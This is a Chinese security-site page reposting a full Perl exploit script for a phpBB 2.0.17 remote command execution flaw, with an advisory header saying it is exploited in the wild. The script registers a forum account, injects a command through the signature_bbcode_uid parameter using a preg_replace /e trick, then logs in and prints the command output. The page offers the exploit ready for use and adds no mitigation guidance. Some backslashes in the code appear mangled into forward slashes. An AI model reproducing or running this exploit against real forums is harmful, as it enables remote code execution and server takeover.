| 网站首页 | 新闻中心 | 系统安全 | 网络安全 | 安全技术 | 下载中心 | 
课件制作网.
收藏本站
设为首页
安全365
phpBB 2.0.17 漏洞
phpBB 2.0.17 漏洞
作者:佚名 文章来源:不详 点击数: 更新时间:2007-1-25 11:51:27
phpBB <= 2.0.17 "signature_bbcode_uid" Remote Command Execution Exploit
Date : 24/12/2005 
Advisory ID : FrSIRT/ADV-2005-2250

Rated as : High Risk 

Note : This vulnerability is currently being exploited in the wild



#!/usr/bin/perl



# phpBB <= 2.0.17 remote command execution exploit

# need for work: 

# 1. PHP 5 < 5.0.5

# 2. register_globals=On

# 3. magic_quotes off

# ------------------------------------------------

# (c)oded by 1dt.w0lf

# RST/GHC

# http://rst.void.ru

# http://ghc.ru

# 03.11.05



use LWP::UserAgent;

use HTTP::Cookies;



if(@ARGV < 2) { usage(); }



head();



$xpl = LWP::UserAgent->new() or die;

$cookie_jar = HTTP::Cookies->new();



for($i=0;$i<5;$i++)

{

$rand .= int(rand(9)); 

}



$name = 'r57phpBB2017xpl'.$rand;

$password = 'r57phpBB2017xpl'.$rand;

$path = $ARGV[0];

$cmd = $ARGV[1];

$xpl->cookie_jar( $cookie_jar );



$res = $xpl->post(

$path.'profile.php?GLOBALS[signature_bbcode_uid]=(.%2B)/e%00',



Content => [ 

'username' => $name,

'email' => $rand.'_bill_gates@microsoft.com',

'new_password' => $password,

'password_confirm' => $password,

'signature' => 'r57:`'.$cmd.'`',

'viewemail' => '0',

'hideonline' => '1',

'notifyreply' => '0',

'notifypm' => '0',

'popup_pm' => '0',

'attachsig' => '0',

'allowbbcode' => '1',

'allowhtml' => '1',

'allowsmilies' => '0',

'mode' => 'register',

'agreed' => 'true',

'coppa' => '0',

'submit' => 'Submit',

],

);



if($res->content =~ /form action=/"profile.php/) { print "Failed to register user $name/r/n"; exit(); }

else { print "Done. User $name successfully registered!/r/n"; }



$res = $xpl->post(

$path.'login.php',

Content => [

'username' => $name,

'password' => $password,

'redirect' => '',

'login' => 'Log in',

],Referer => $path.'login.php');



$res = $xpl->get($path.'profile.php?mode=editprofile');

@content = split("/n",$res->content);

print "~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~/r/n";

for(@content)

{

if(/<//textarea>/) { $p = 0; }

print $_."/r/n" if $p;

if(/<textarea name="signature"/){ $p = 1; }

}

print "~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~/r/n";



sub head()

{

print "~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~/r/n";

print " PhpBB <= 2.0.17, PHP 5 < 5.0.5 remote command execution exploit by RST/GHC/r/n"; 

print "~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~/r/n";

}



sub usage()

{

head();

print " Usage: r57phpBB2017.pl <path> <cmd>/r/n";

print " <path> - Path to forum e.g. http://phpbb.com/forum//r/n";

print " <cmd> - Command for execute/r/n";

print "~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~/r/n";

print "(c)oded by 1dt.w0lf , RST/GHC , http://rst.void.ru , http://ghc.ru/r/n";

print "~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~/r/n";

exit();

}
【转自世纪安全网 http://www.21safe.com】
文章录入:admin    责任编辑:admin 
  • 上一篇文章:

  • 下一篇文章:
  • 【字体: 】【发表评论】【加入收藏】【告诉好友】【打印此文】【关闭窗口
      网友评论:(只显示最新10条。评论内容只代表网友观点,与本站立场无关!)
     
     
     
    PHP html_entity_decode
    PHP HTMLEntities和HTML
    PHP wordwrap()缓冲区溢
    phpMyAdmin多个HTTP响应
    PHP session.save_path(
    WordPress functions.ph
    PHP Easy Download file
    PHP HTMLEntities和HTML
    WordPress functions.ph
    PHP Easy Download file

    Copyright © 2006-2008 www.anquan365.com 安全365
    建议使用1024*768分辨率及第三方浏览器对本站进行浏览